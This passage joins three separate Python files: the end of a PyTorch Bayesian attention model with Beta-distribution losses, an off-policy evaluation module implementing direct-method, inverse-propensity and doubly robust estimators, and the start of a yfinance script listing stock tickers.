            v_alt=x_attn,
            )  # (batch, x, d_m)

        h = x_X[:, :, :self.d_m] + xshift*x_X[:, :, self.d_m:]
        h = self.ffn(h)  # (b, x, d_m)

        y_attn = self.y_attn.repeat(xs[0], 1, 1)

        # encode outcome dependent latent space with bayesian attn network
        if training:
            h = h * conc_mask

        z, attn, _ = self.attn(
            y_attn, h, x_mask_,
            v_alt=None,
            apply_v=True,
            )  # (batch, y, d_m), (batch, y, x), (batch, x, d_m)
        # posterior probability parameters
        # (batch, y, 2)

        multiplier = ((F.softplus(self.scaling)) * x_mask_).sum(
            -1, keepdims=True)  # (b, y, 1)
        z = (z * multiplier) + y_attn  # residual connection to y (b, y, d_m)
        beta_params = (1 + self.decoder_full(z))  # (b, y, 2)
        beta = T.distributions.Beta(
            beta_params[:, :, 0], beta_params[:, :, 1]
        )

        # use the commented out prior if not a rebalanced dataset
        # beta_prior = T.distributions.Beta(
        #     prior_params[:, :, 0], prior_params[:, :, 1]
        # )
        beta_prior = T.distributions.Beta(
            T.ones_like(prior_params[:, :, 0]),
            T.ones_like(prior_params[:, :, 1])
        )

        single_prob = beta.mean

        # univariate distributions
        values_ = xm_.unsqueeze(1) + y_attn.unsqueeze(2)  # (b, y, x, d_m)
        univariate_params = 1 + self.decoder_uni(values_)  # (b, y, x, d_m)
        univariate_beta = T.distributions.Beta(
            univariate_params[:, :, :, 0], univariate_params[:, :, :, 1]
        )
        uni_prior = T.distributions.Beta(
            T.ones_like(univariate_params[:, :, :, 0]),
            T.ones_like(univariate_params[:, :, :, 1])
        )
        probs = univariate_beta.mean  # (b, y, x)

        if yv is not None:
            self.loss_1 = self.UCE(
                yv.to(T.long), beta_params, y_mask
            )

            yv_ = yv.unsqueeze(2).repeat(1, 1, xs[1])  # (batch, y, x)
            self.loss_2 = self.UCE(
                yv_.to(T.long),
                univariate_params,
                y_mask_
            )

            # regularisation
            self.reg = (
                # self.alt[1] * xm.pow(2).sum(-1).mean()
                self.regularisation
                + 1e-5 * self.alt[0] * self.scaling.pow(2).sum()
                + self.regr * self.alt[1] * y_attn.pow(2).sum(-1).mean()
                + self.regr * self.alt[1] * x_attn.pow(2).sum(-1).mean()
                )

            self.beta_kld = T.distributions.kl_divergence(
                beta_prior, beta
            ).masked_select(y_mask).abs().mean()

            self.uni_kld = T.distributions.kl_divergence(
                uni_prior, univariate_beta
            ).masked_select(y_mask_).abs().mean()

            self.kld = (
                self.alt[0] * 1e-3 * self.beta_kld
                + self.alt[1] * 1e-3 * self.uni_kld
                )

            self.grad_loss =\
                self.alt[0] * self.loss_1\
                + self.alt[1] * self.loss_2\
                + self.kld\
                + self.reg

        return single_prob, probs, N, (attn, attn_x, beta_params)

    def step(self, step):
        self.optim.zero_grad()
        self.grad_loss.backward()
        # T.nn.utils.clip_grad_norm_(self.parameters(), 1, 2)
        self.optim.step()

    def loss(self):
        return {
            'Loss_1': float(self.loss_1),
            'Loss_2': float(self.loss_2),
            'Loss': (
                self.alt[0] * float(self.loss_1) +
                self.alt[1] * float(self.loss_2)),
            'KLD': float(self.kld),
            "REG": float(self.reg)
        }

    def UCE(self, yv, post_params, mask):
        # prep indicators of outcomes
        yv_ = F.one_hot(yv + 1, 3)[..., 1:]
        alpha_0 = post_params.sum(-1, keepdims=True)
        label = (yv_ * -1.0) + 1.0
        loss = (label * (T.digamma(alpha_0) - T.digamma(post_params))).sum(-1)
        return loss.masked_select(mask).mean()

    def _concrete_mask(self, x, ymask):
        eps = 1e-7
        tmp = 0.1

        self.p = T.sigmoid(self.p_logit)  # (outcomes, features, 1)

        # build p|y matrix for each sample in batch
        indices = ymask.nonzero()[:, 1]  # (batch)

        p = T.index_select(self.p, 0, indices)  # (b, f, 1)

        u_noise = T.rand(x.shape[0], self.features, 1)

        drop_prob = (T.log(p + eps) -
                     T.log(1 - p + eps) +
                     T.log(u_noise + eps) -
                     T.log(1 - u_noise + eps))

        drop_prob = T.sigmoid(drop_prob / tmp)

        random_tensor = 1 - drop_prob
        retain_prob = 1 - p

        x = (x * random_tensor) / retain_prob

        return x, drop_prob  # (b, features, 1)


import numpy as np
from sklearn.linear_model import RidgeCV, LassoCV

from utils import twoD_gather

class BaseEstimator(object):
    def __init__(self):
        pass

    def train(self, context=None, action=None, reward=None):
        """ (Optional) Training the estimator

        :param context: (num_sample, num_feature)
        :param action: (num_sample, num_action)
        :param reward: (num_sample, num_action)
        """
        del context, action, reward
        pass

    def estimate(self, context=None, prod_r_te=None, prod_a_te=None,
                 targ_a_te=None, prod_score_te=None, targ_score_te=None):
        """ Estimate a reward using the inverse propensity score

        :param context: context(features)
        :param prod_r_te: the observed rewards given the actions by prod policy on the test set
        :param prod_a_te: the selected actions by prod policy on the test set
        :param targ_a_te: the selected actions by targ policy on the test set
        :param targ_score_te: the computed scores for each targ policy's arm on the test set
        :return: reward_est: the estimated rewards on the test set
        """
        raise NotImplementedError

class DM(BaseEstimator):
    def __init__(self, model_type="ridge"):
        """ Direct Method(Reward Prediction)

        :param model_type: type of base algorithm to deal with contexts
        """
        super(DM, self).__init__()
        self._model_type = model_type
        self._alpha = np.logspace(-3, 2, num=6, base=5)

    def train(self, context=None, action=None, reward=None):
        """ Train the model parameters given contexts and taken actions by the prod policy """
        # Rewards represent the cost of taking actions(e.g., Cost-Sensitive Classification)
        # So, we need to compute y given the taken action by prod policy and the contexts
        feedback = twoD_gather(reward, action)

        if self._model_type == 'ridge':
            self._clf = RidgeCV(alphas=self._alpha, fit_intercept=True, cv=5)
        elif self._model_type == 'lasso':
            self._clf = LassoCV(alphas=self._alpha, tol=1e-3, cv=5, fit_intercept=True)
        """ This is the part described by the DR paper(Sec 2.1) as follows
             > A problem with this method is that the estimate is formed without the knowledge of a policy
        """
        self._clf.fit(context, feedback)

    def estimate(self, context=None, prod_r_te=None, prod_a_te=None,
                 targ_a_te=None, prod_score_te=None, targ_score_te=None):
        """ Estimate a reward given a context

            This is the part described by the DR paper(Sec 2.1) as follows
             > A problem with this method is that the estimate is formed without the knowledge of a policy
        """
        reward_est = self._clf.predict(X=context)
        return reward_est.flatten()

class IPS(BaseEstimator):
    def __init__(self, _min=0, _max=10, if_cap=False, if_normalise=False, if_pointwise=False):
        """ Inverse Propensity Score (IPS) / Importance Sampling(IS)

        Variants are implemented as follows
        1. Vanilla IPS(Horvitz & Thompson, 1952): cap=None, if_normalise=False
        2. Capped IPS(Léon Bottou and Jonas Peters. 2013): cap=scalar_value, if_normalise=False
        3. Normalised IPS(A. Swaminathan & T. Joachims., 2016): cap=None, if_normalise=True
        4. Normalised Capped IPS: cap=scalar_value, if_normalise=True
        4. Pointwise IPS: if_pointwise=True

        :param _min: CIPS lower bound
        :param _max: CIPS upper bound
        :param if_cap: flag if use CIPS
        :param if_normalise: flag if use NIPS, NCIPS
        :param if_pointwise: flag if use Pointwise IPS
        """
        super(IPS, self).__init__()
        self._if_cap = if_cap
        self._if_normalise = if_normalise
        self._if_pointwise = if_pointwise
        self._min = _min
        self._max = _max

    def estimate(self, context=None, prod_r_te=None, prod_a_te=None,
                 targ_a_te=None, prod_score_te=None, targ_score_te=None):
        """ Estimate a reward using the inverse propensity score """
        # Apply indicator function
        bool_mat = np.asarray(prod_a_te == targ_a_te).astype(np.float32)

        # take the score only for the taken action
        targ_score = twoD_gather(targ_score_te, targ_a_te)
        prod_score = twoD_gather(prod_score_te, targ_a_te)

        # Avoid the division by Zero error
        targ_score[targ_score == 0.0] = np.spacing(1)
        prod_score[prod_score == 0.0] = np.spacing(1)

        # compute the importance weight
        self.imp_weight = targ_score / prod_score

        if self._if_cap:
            # See Sec4.2 -> https://arxiv.org/pdf/1801.07030.pdf
            self.imp_weight = np.clip(self.imp_weight, a_min=self._min, a_max=self._max)

        # replace the infinity with the extremely small value
        self.imp_weight[self.imp_weight == np.inf] = np.spacing(1)
        ips = bool_mat * self.imp_weight

        # replace the infinity with the extremely small value
        ips[ips == np.inf] = np.spacing(1)

        if self._if_normalise:
            # self normalised IPS

            if self._if_pointwise:
                """ Midzuno-Sen Rejection Sampling Method

                    Under this system of selection of probabilities, the unit in the first draw is selected with
                    unequal probabilities of selection and remaining all the units are selected
                    with simple random sampling without replacement at all subsequent draws.

                    [Ref]
                        Midzuno, H. (1951). On the sampling system with probability proportional
                        to sum of sizes. Ann. Inst. Stat. Math., 3:99–107.
                """
                # 1. Only first unit is selected with unequal probability
                dummy_imp_weight = self.imp_weight.copy()
                u = np.random.uniform(low=0.0, high=1.0)  # TODO: I guess we should use max of imp_weight!
                for _id, x in enumerate(dummy_imp_weight):
                    if u < np.mean(x):
                        first_unit = x
                        break

                # 2. For remaining units, we use Simple Random Sampling
                dummy_imp_weight = dummy_imp_weight[_id:]
                size = dummy_imp_weight.shape[0]
                mask = np.random.binomial(1, p=1 / size, size=size)
                samples = [first_unit] + dummy_imp_weight[mask].tolist()
                norm = np.mean(samples)
            else:
                norm = np.mean(self.imp_weight, axis=0)
        else:
            norm = np.ones(self.imp_weight.shape[-1]).astype(np.float32)

        # estimate the feedback based on the importance sampling
        est = (self.imp_weight * prod_r_te) / norm
        return est

class DR(BaseEstimator):
    def __init__(self, ips, dm, switch_tau=0.23, switch_flg="", cab_coeff=None, cab_flg=""):
        """ Doubly Robust Estimator(DR)

        Variants are implemented as follows
        1. Doubly Robust Estimator(DR)(Miroslav Dudik et al., 2011)
        2. SWITCH(YX Wang et al., 2016)
        3. CAB[Continuous Adaptive Blending](Y Su et al., 2019)

        :param ips: Inverse Propensity Scoring
        :param dm: Direct Method
        :param switch_tau: threshold for SWITCH, pls refer to the paper for more detail!
        :param switch_flg: SWITCH-DR or SWITCH-IPS. (Supported Options); 'ips' or 'dr'
        :param cab_coeff: CAB's coeff, pls refer to the paper for more detail!
        :param cab_flg: CAB or CAB-DR. (Supported Options); '' or 'dr'
        """
        super(DR, self).__init__()
        self.ips = ips
        self.dm = dm
        self._switch_tau = switch_tau
        self._switch_flg = switch_flg.lower()
        self._cab_coeff = cab_coeff
        self._cab_flg = cab_flg.lower()

    def train(self, context=None, action=None, reward=None):
        """ Train the model parameters given contexts and taken actions by the prod policy """
        self.dm.train(context=context, action=action, reward=reward)

    def estimate(self, context=None, prod_r_te=None, prod_a_te=None,
                 targ_a_te=None, prod_score_te=None, targ_score_te=None):
        """ Estimate a reward using the inverse propensity score and Direct Method"""
        dm_est = self.dm.estimate(context=context)
        reward_adv = prod_r_te - dm_est  # subtract the baseline to get the advantage
        ips_est = self.ips.estimate(prod_r_te=reward_adv,
                                    prod_a_te=prod_a_te,
                                    targ_a_te=targ_a_te,
                                    prod_score_te=prod_score_te,
                                    targ_score_te=targ_score_te)

        if self._cab_coeff is not None:
            """ See Sec 3 and Sec 3.2 of CAB(Y Su et al., 2019)

                This method is to adaptively blend(differentiable) DM and IPS,
                whereas in SWITCH we employ the hard switching mechanism which is not differentiable.
            """
            inv_imp_weight = (1 / self.ips.imp_weight)
            if self._cab_flg == "":
                ips_coeff = np.minimum(inv_imp_weight * self._cab_coeff, 1)
                dm_coeff = 1 - ips_coeff
                dr_est = ips_coeff * ips_est + dm_coeff * dm_est
                return dr_est
            elif self._cab_flg == "dr":
                ips_coeff = dr_coeff = np.minimum(inv_imp_weight * self._cab_coeff, 1)
                reward_adv = prod_r_te - dm_est * dr_coeff
                ips_est = self.ips.estimate(prod_r_te=reward_adv,
                                            prod_a_te=prod_a_te,
                                            targ_a_te=targ_a_te,
                                            prod_score_te=prod_score_te,
                                            targ_score_te=targ_score_te)
                dr_est = ips_coeff * ips_est + dm_est
                return dr_est

        # Define the Vanilla DR estimate
        dr_est = ips_est + dm_est

        if self._switch_tau is not None:
            """ See Sec 4.1 of SWITCH(YX Wang et al., 2016)

                When importance weights are small, we continue to use IPS, but when it's large,
                then switch to directly applying the (potentially biased) reward model(DM) on actions.
                Here, `small` and `large` are defined via a threshold parameter
            """
            switch_mask = self.ips.imp_weight <= self._switch_tau
            dr_est[~switch_mask] = dm_est[~switch_mask]
            if self._switch_flg == "ips":
                dr_est[switch_mask] = ips_est[switch_mask]
            elif self._switch_flg == "dr":
                # For clarity of the logic, this part is being preserved
                pass
        return dr_est

if __name__ == '__main__':
    from main import _train_policy
    from utils import rmse, train_test_split
    from data.data_manager import load_ecoli
    from poilcy import UniformPolicy, DeterministicPolicy2

    # load a dataset
    data = load_ecoli()
    x_train, x_test, y_train, y_test = train_test_split(data=data, test_size=0.5)

    # define a prod and a targ policies
    prod_policy = UniformPolicy(num_action=data.num_label)
    # prod_policy = DeterministicPolicy2(num_action=data.num_label)
    # prod_policy = _train_policy(policy=prod_policy, x_train=x_train, y_train=y_train, x_test=x_test, y_test=y_test)

    # targ_policy = UniformPolicy(num_action=data.num_label)
    targ_policy = DeterministicPolicy2(num_action=data.num_label)
    targ_policy = _train_policy(policy=targ_policy, x_train=x_train, y_train=y_train, x_test=x_test, y_test=y_test)

    # get dummy actions
    prod_a_tr, prod_score_tr = prod_policy.select_action(context=x_train)
    prod_a_te, prod_score_te = prod_policy.select_action(context=x_test)
    targ_a_te, targ_score_te = targ_policy.select_action(context=x_test)
    prod_r_te = twoD_gather(y_test, prod_a_te)

    # test the estimator
    dm = DM(model_type="ridge")
    dm.train(context=x_train, action=prod_a_tr, reward=y_train)
    dm_est = dm.estimate(context=x_test)
    ground_truth = 1 - np.mean(targ_a_te == np.argmax(y_test, axis=-1))
    print("[DM] RMSE: {}".format(rmse(a=np.mean(dm_est), b=ground_truth)))

    bool_mat = np.asarray(prod_a_te == targ_a_te).astype(np.float32)
    # ips_est = prod_r_te * (bool_mat / twoD_gather(prod_score_te, prod_a_te))
    # ips_est = prod_r_te * (bool_mat / twoD_gather(prod_score_te, targ_a_te))
    imp_weight = (twoD_gather(targ_score_te, targ_a_te) / twoD_gather(prod_score_te, targ_a_te))
    ips_est = prod_r_te * (bool_mat * imp_weight)
    ips_est = np.mean(ips_est)
    print("[IPS] RMSE: {}".format(rmse(a=np.mean(ips_est), b=ground_truth)))

    r = (prod_r_te - dm_est)
    # ips_est = r * (bool_mat / twoD_gather(prod_score_te, prod_a_te))
    # ips_est = r * (bool_mat / twoD_gather(prod_score_te, targ_a_te))
    imp_weight = (twoD_gather(targ_score_te, targ_a_te) / twoD_gather(prod_score_te, targ_a_te))
    ips_est = r * (bool_mat * imp_weight)
    dr_est = ips_est + dm_est
    print("[DR] RMSE: {}".format(rmse(a=np.mean(dr_est), b=ground_truth)))

    ips = IPS(if_cap=True, _min=0, _max=10, if_normalise=True, if_pointwise=True)
    ips.estimate(context=x_test,
                 prod_r_te=prod_r_te,
                 prod_a_te=prod_a_te,
                 targ_a_te=targ_a_te,
                 prod_score_te=prod_score_te,
                 targ_score_te=targ_score_te)


# Script extracting data from yahoo finances

# Requirements:
# - pip3 install yfinance
# - pip3 install yahoo_fin
# - pip3 install requests_html
# - pip3 install django

def ExtractStocksData():

    import yfinance as yf1
    from multiprocessing import Process, Manager
    # import yahoo_fin.stock_info as yf2

    # stockSymbols = yf2.tickers_nasdaq()  # Get all stocks (over 3000!)
    # print(f"Number of stocks: {len(stockSymbols)}")
    # print(f"Stocks: {stockSymbols}")
    # Etoro stocks (https://etoro-cdn.etorostatic.com/e-marketing/AUM/FulllistofavailableStocksoneToro.pdf)
    # stockSymbols = ['AAPL', 'GOOG', 'FB', 'MSFT', 'AMZN', 'AABA', 'ZNGA', 'AA',
    #                 'AXP', 'BA', 'BAC', 'CAT', 'CSCO', 'CVX', 'DD', 'DIS', 'GE',
    #                 'HD', 'HPQ', 'IBM', 'INTC', 'JNJ', 'JPM', 'KO', 'MCD', 'MMM',
    #                 'MRK', 'PFE', 'PG', 'T', 'TRV', 'UNH', 'UTX', 'VZ', 'WMT',
    #                 'XOM', 'C', 'HMC', 'HBC', 'MANU', 'MA', 'NKE', 'PEP', 'SNE',
    #                  'TM', 'V', 'VOD', 'TWX', 'DB', 'CL', 'EBAY', 'SI', 'YNDX',
    #                  'QIWI', 'CHL', 'RENN', 'TEO', 'TX', 'PBR', 'VALE', 'SAN',
    #                  'TEF', 'AMX', 'CX', 'DTV', 'TV', 'SNDK', 'TSLA', 'F',
    #                  'LVS', 'LNKD', 'NOK', 'POT', 'FSLR', 'BRK.B', 'WU', 'GPS',
    #                  'RL', 'HOG', 'TRIP', 'EA', 'URBN', 'ADBE', 'NFLX', 'MSI',
    #                  'WDC', 'MU', 'ANF', 'DEM', 'AGNC', 'ADSK', 'ORCL', 'LMT',
    #                  'NVDA', 'FDX', 'NBL', 'CAR', 'BIDU', 'SBUX', 'AMGN',
    #                  'ATVI', 'CHKP', 'MOS', 'PETM', 'KDP', 'STZ', 'TWTR',
    #                  'KING', 'BABA', 'SPOT', 'DBX', 'TCEHY', 'ETSY', 'WIX',
    #                  'RYAAY', 'DLPH', 'PCRFY', 'ACB', 'SMG', 'CARA', 'INSY',
    #                  'WP', 'ZYNE', 'CRBP', 'CRON', 'PEGI', 'CVA', 'EVA', 'NEP',
    #                  'ALB', 'ENS', 'APHA', 'XI', 'OSTK', 'TLRY', 'LYFT', 'PINS',
    #                  'LEVI', 'UBER', 'BYND', 'SIE', 'BAS', 'SAP', 'BAYN', 'ALV',
    #                  'EOAN', 'DAI', 'DTE', 'LNA', 'VOW3', 'BMW', 'MUV2', 'RWE',
    #                  'FME', 'ADS', 'DPW', 'FRE', 'HEN3', 'DB1', 'TKA', 'IFX',
    #                  'SDF', 'CBK', 'MRK', 'BEI', 'HEI', 'LHA', 'CON', 'LXSd',
    #                  'BOSSd', 'AC', 'ACA', 'AI', 'AIR', 'ALO', 'ALU', 'BN',
    #                  'BNP', 'CA', 'CAP', 'CS', 'DG', 'EDF', 'EL', 'EN', 'FP',
    #                  'FR', 'GLE', 'ENGI', 'KER', 'LG', 'LR', 'MC', 'ML', 'MTS',
    #                  'OR', 'ORA', 'PUB', 'RI', 'RNO', 'SAF', 'SAN', 'SGO',
    #                  'SOLB', 'SU', 'TEC', 'UG', 'UL', 'VIE', 'VIV', 'A2A',
    #                  'AGL', 'ATL', 'AZM', 'BMPS', 'BP', 'BPE', 'BZU', 'CNHI',
    #                  'CPR', 'EGPW', 'ENEL', 'ENI', 'EXO', 'FCA', 'LDO', 'GASI',
    #                  'ISP', 'LUX', 'MDBI', 'MED', 'MONC', 'MS', 'PC', 'PMI',
    #                  'PRY', 'SFER', 'SPM', 'SRG', 'STM', 'STS', 'TEN', 'TLIT',
    #                  'TOD', 'TRN', 'UBI', 'UCG', 'US', 'WDF', 'YNAP', 'ABE',
    #                  'ABG-P', 'ACS', 'AMS', 'ANA', 'BBVA', 'BKIA', 'BKT', 'BME',
    #                  'CABK', 'DIAm', 'ELE', 'ENG', 'FCC', 'FER', 'SGRE', 'NTGY',
    #                  'GRF', 'IBE', 'IDR', 'ITX', 'JAZ', 'MAP', 'OHL', 'POP',
    #                  'REE', 'REP', 'SAB', 'SCYR', 'TL5', 'TRE', 'OGZDL', 'KMGL',
    #                  'KCELL', 'LKODL', 'MGNTL', 'MFONL', 'MNODL', 'NVTKL',
    #                  'PHORL', 'ROSNL', 'SBERL', 'SVSTL', 'SGGDL', 'ATADL',
    #                  'URKAL', 'QIHU', 'JMEI', 'CYOU', 'QUNR', 'NTES', 'JD',
    #                  'CTRP', 'ATHM', 'JOBS', 'GSOL', 'MOMO', 'TTWO', 'NESN',
    #                  'NOVN', 'ROG', 'CSGN', 'ABB', 'ADEN', 'ATLN', 'BAER',
    #                  'CFR', 'GEBN', 'GIVN', 'LHN', 'SCMN', 'SGSN', 'SLHN',
    #                  'SREN', 'SYNN', 'UBSG', 'UHR', 'ZURN', 'ACN', 'AAL',
    #                  'ABBV', 'BIIB', 'CBS', 'CELG', 'CMCSA', 'COF', 'COST',
    #                  'CVS', 'EMC', 'FOX', 'GILD', 'GPRO', 'GS', 'HON', 'K',
    #                  'CPRI', 'LOW', 'M', 'MCK', 'MDT', 'MET', 'BKNG', 'PM',
    #                  'PSX', 'PYPL', 'QCOM', 'RDS.B', 'S', 'SHAK', 'TGT', 'TTM',
    #                  'UNP', 'UPS', 'WBA', 'WFC', 'WMB', 'VLO', 'ABC', 'FNMA',
    #                  'KR', 'GM', 'ESRX', 'MPC', 'CAH', 'ANTM', 'FMC', 'AIG',
    #                  'DOW', 'AET', 'COP', 'ET', 'HUM', 'EPD', 'SYY', 'IM',
    #                  'JCI', 'PAGP', 'INT', 'BBY', 'DAL', 'HCA', 'ANDV', 'UAL',
    #                  'TSN', 'DE', 'ALL', 'CI', 'MDLZ', 'INTL', 'HAL', 'SHLD',
    #                  'GD', 'TJX', 'TECD', 'AVT', 'EXC', 'IP', 'QRTEA', 'DUK',
    #                  'RAD', 'BHI', 'EMR', 'NOC', 'NOV', 'RTN', 'TWC', 'ARW',
    #                  'AFL', 'SPLS', 'ABT', 'CYH', 'FLR', 'FCX', 'USB', 'NUE',
    #                  'KMB', 'HES', 'CHK', 'XRX', 'MAN', 'DHR', 'WHR', 'PBF',
    #                  'HFC', 'LLY', 'DVN', 'PGR', 'CMI', 'IEP', 'KSS', 'PCAR',
    #                  'HIG', 'LUV', 'APC', 'SO', 'SVU', 'GT', 'EOG', 'CTL',
    #                  'MO', 'THC', 'GIS', 'CAG', 'LEA', 'X', 'PAG', 'AES',
    #                  'GLP', 'TMO', 'PCG', 'NEE', 'AEP', 'BAX', 'CNC', 'BK',
    #                  'JBL', 'PNC', 'KMI', 'ODP', 'BMY', 'NRG', 'MON', 'PPG',
    #                  'GPC', 'OMC', 'ITW', 'MUSA', 'WNR', 'FE', 'ARMK', 'DISH',
    #                  'L', 'ECL', 'WFM', 'CB', 'HNT', 'WM', 'APA', 'TXT', 'SNX',
    #                  'VIAB', 'LNC', 'JWN', 'CHRW', 'EIX', 'YUM', 'PH', 'DVA',
    #                  'KMX', 'TXN', 'WCG', 'MMC', 'ED', 'OKE', 'JEC', 'CSX',
    #                  'ETR', 'D', 'JEF', 'AMP', 'VFC', 'PX', 'JCP', 'ADP', 'LLL',
    #                  'CDW', 'XEL', 'NSC', 'PPL', 'RRD', 'HUN', 'BBBY', 'SWK',
    #                  'LB', 'SHW', 'BLK', 'VOYA', 'ROST', 'SRE', 'EL', 'RGA',
    #                  'PEG', 'CAM', 'NAV', 'CST', 'STT', 'UNM', 'HLT', 'PFG',
    #                  'RS', 'APD', 'AIZ', 'HSIC', 'CTSH', 'MGM', 'GWW', 'GPI',
    #                  'BBT', 'AAP', 'ALLY', 'AGCO', 'GLW', 'NGL', 'SYK', 'MOH',
    #                  'PCP', 'DFS', 'GNW', 'EMN', 'DF', 'AZO', 'OMI', 'HRL',
    #                  'GME', 'CNP', 'FNF', 'SAH', 'HDS', 'CHTR', 'CCK', 'AMAT',
    #                  'CBRE', 'AVP', 'RSG', 'UHS', 'DRI', 'STLD', 'STI', 'CZR',
    #                  'TRGP', 'DLTR', 'NWSA', 'BLL', 'MAS', 'BEN', 'RAI', 'BDX',
    #                  'BRCM', 'CPB', 'ACM', 'VC', 'DK', 'DOV', 'BWA', 'JAH',
    #                  'UGI', 'MUR', 'PVH', 'CORE', 'CPN', 'DHI', 'WY', 'KKR',
    #                  'FTI', 'SPTN', 'WCC', 'PWR', 'MHK', 'LEN', 'TA', 'SEE',
    #                  'ES', 'CCE', 'ASH', 'IPG', 'BX', 'DGX', 'NEM', 'ORLY',
    #                  'CASY', 'CMS', 'FL', 'WRB', 'CMC', 'A', 'HII', 'LYV',
    #                  'DKS', 'OSK', 'CE', 'SPR', 'UNFI', 'BTU', 'OI', 'DDS',
    #                  'LVLT', 'LKQ', 'SYMC', 'BPL', 'R', 'ROK', 'DAN', 'NCR',
    #                  'EXPD', 'AKS', 'FITB', 'SEB', 'NI', 'CVC', 'AXE', 'EME',
    #                  'FIS', 'BKS', 'KBR', 'AVY', 'NTAP', 'DISCA', 'SANM',
    #                  'JBHT', 'SCHW', 'AEE', 'MAT', 'LH', 'HOT', 'BGC', 'AMRI',
    #                  'SPB', 'MRC', 'SE', 'ABG', 'PKG', 'WIN', 'PHM', 'JBLU',
    #                  'NWL', 'CLMT', 'EXPE', 'AFG', 'URI', 'INGR', 'NAVI', 'STJ',
    #                  'SJM', 'CLX', 'UFS', 'KELYA', 'ORI', 'AMD', 'BAH', 'IQV',
    #                  'WYNN', 'JLL', 'RF', 'LAD', 'CRM', 'ALK', 'HST', 'HAR',
    #                  'APH', 'RLGY', 'ESND', 'HBI', 'KND', 'ARRS', 'NSIT',
    #                  'LPNT', 'PXD', 'WYND', 'OC', 'Y', 'SPGI', 'BIG', 'NTI',
    #                  'MKL', 'LDOS', 'COL', 'SRLP', 'YRCW', 'THG', 'FISV',
    #                  'ABM', 'SON', 'HRS', 'TDS', 'WEC', 'LINE', 'RJF', 'BERY',
    #                  'SCG', 'CINF', 'ATO', 'POM', 'FLS', 'SPG', 'QUAD', 'BURL',
    #                  'BMS', 'TPR', 'CLR', 'ASNA', 'Z', 'OA', 'FTR', 'SPW',
    #                  'CF', 'MIK', 'MTB', 'RUSHB', 'GMCR', 'SPN', 'WSM', 'RHI',
    #                  'FAF', 'MDU', 'JNPR', 'AJG', 'CFX', 'CLF', 'MTZ', 'LRCX',
    #                  'AXLL', 'ICE', 'CTAS', 'COTY', 'ANDE', 'VAL', 'NTRS',
    #                  'INTU', 'TPC', 'PII', 'RACE', 'NVR', 'FWONA', 'ENR',
    #                  'BLMN', 'WLK', 'H', 'MJN', 'EVHC', 'FBHS', 'RPM', 'VWR',
    #                  'LPLA', 'KEY', 'KNX', 'AGN', 'HAS', 'RFP', 'TIF', 'MKC',
    #                  'GPK', 'GEF', 'ATI', 'BEAV', 'TAP', 'CNO', 'AE', 'CMG',
    #                  'AMT', 'AFSI', 'BC', 'PDCO', 'SWN', 'AME', 'TROW', 'TMK',
    #                  'DAR', 'LEG', 'WSO', 'CEQP', 'XYL', 'SLGN', 'TOL', 'MTW',
    #                  'ARGO', 'ARG', 'GNC', 'MAR', 'SQ', 'MTCH', 'SEDG', 'FIT',
    #                  'NTDOY', 'REGN', 'SGMO', 'NTLA', 'EDIT', 'MS', 'CLLS',
    #                  'HRMS', 'SNAP', 'AAL', 'ABF', 'ADM', 'ADN', 'AGK', 'AHT',
    #                  'AMFW', 'ANTO', 'ARM', 'AV', 'AZN', 'BAl', 'BAB', 'BARC',
    #                  'BATS', 'BG', 'BLND', 'BHP', 'BNZL', 'BP', 'BRBY', 'SKY',
    #                  'BT', 'CCH', 'CCL', 'CNA', 'CPG', 'CPI', 'CRH', 'DGE',
    #                  'EXPN', 'EZJ', 'FRES', 'GFS', 'GKN', 'GLEN', 'GSK', 'HL',
    #                  'HMSO', 'HSBA', 'IAG', 'IHG', 'IMI', 'IMB', 'ITRK', 'ITV',
    #                  'JMAT', 'KGF', 'LAND', 'LGEN', 'LLOY', 'LSE', 'MGGT',
    #                  'MKS', 'MNDI', 'MRO', 'MRW', 'NG', 'NXT', 'OML', 'PFC',
    #                  'PRU', 'PSN', 'PSON', 'RB', 'RBS', 'RDSA', 'REL', 'REX',
    #                  'RIO', 'RMG', 'RR', 'RRS', 'RSA', 'RSL', 'SAB', 'SBRY',
    #                  'SDR', 'SGE', 'SHP', 'SLA', 'SMIN', 'SN', 'SPD', 'SSE',
    #                  'STAN', 'SVT', 'TATE', 'TLW', 'TPK', 'TSCO', 'TT', 'ULVR',
    #                  'UU', 'VOD', 'WEIR', 'WMH', 'FERG', 'WPP', 'WTB', 'DMGT',
    #                  'III', 'BPM', 'HZD', 'BDEV.L', 'CRDA.L', 'DCC.L', 'DLG.L',
    #                  'INF.L', 'MCRO.L', 'PPB.L', 'RTO.L', 'SGRO.L', 'SKG.L',
    #                  'SMT.L', 'TUI.L', 'TW.L', 'QLT.L', 'MDC.L', 'AML.L',
    #                  'FEVR.L', 'ASC.L', 'RDSB.L', 'RYA.L', 'AVST.L', 'VVO.L',
    #                  'SMSN.L', 'TLN.L', 'AKA', 'AKSO', 'BWLPG', 'DNB', 'DNO',
    #                  'FOE', 'GJF', 'GOGL', 'MHG', 'NHY', 'NAS', 'OTELLO', 'ORK',
    #                  'PGS', 'PRS', 'STB', 'SUBC', 'TEL', 'TGS', 'YAR', 'ERIC-A',
    #                  'TELIA', 'NDA_SE', 'VOLV-A', 'SEB-A', 'SAND', 'HM-B',
    #                  'SHB-A', 'SKF-A', 'SWED-A', 'ASSA-B', 'ATCO-A', 'BOL',
    #                  'SCA-B', 'ALFA', 'ELUX-B', 'SECU-B', 'SKA-B', 'INVE-A',
    #                  'LUPE', 'TREL-B', 'SWMA', 'HEXA-B', 'KINV-A', 'ICA',
    #                  'INDU-A', 'LUND-B', 'NOVO-B', 'DANSKE', 'ORSTED', 'VWS',
    #                  'NZYM-B', 'PNDORA', 'TRYG', 'DSV', 'WDH', 'ISS', 'LUN',
    #                  'GEN', 'COLO-B', 'CARL-B', 'CHR', 'OSSR', 'NDA1V',
    #                  'SSABAH', 'STEAV', 'FORTUM', 'UPM', 'NESTE', 'KNEBV',
    #                  'SAMPO', 'ELISA', 'NRE1V', 'WRT1V', 'ORNAV', '0939.HK']

    # Removed non-US time stocks: GFRD.L, 1810.HK (XI), RDSB.L, SAN.PA, CDI.PA,
    # UBI.PA, AIR.PA, ENC.MC, VOLV-A.ST, 2222.SR, (SAOC), HSBA.L, NESN.SW,
    # PAH3.DE, BOSS.DE, KPN.AS, VPK.AS, RYA.L
    stockSymbols = [# Technology
                    "ATVI", "ADBE", "ADSK", "AMAT", "AMD", "ANSS", "CDNS",
                    "CSCO", "DBX", "DELL", "DLG.DE", "EA", "GOOG", "IBM",
                    "INTC", "LOGI", "MSFT", "NOK", "NVDA", "NXPI", "SNAP",
                    "PINS", "PYPL", "QCOM", "SOXX", "SPOT", "TWTR", "TXN",
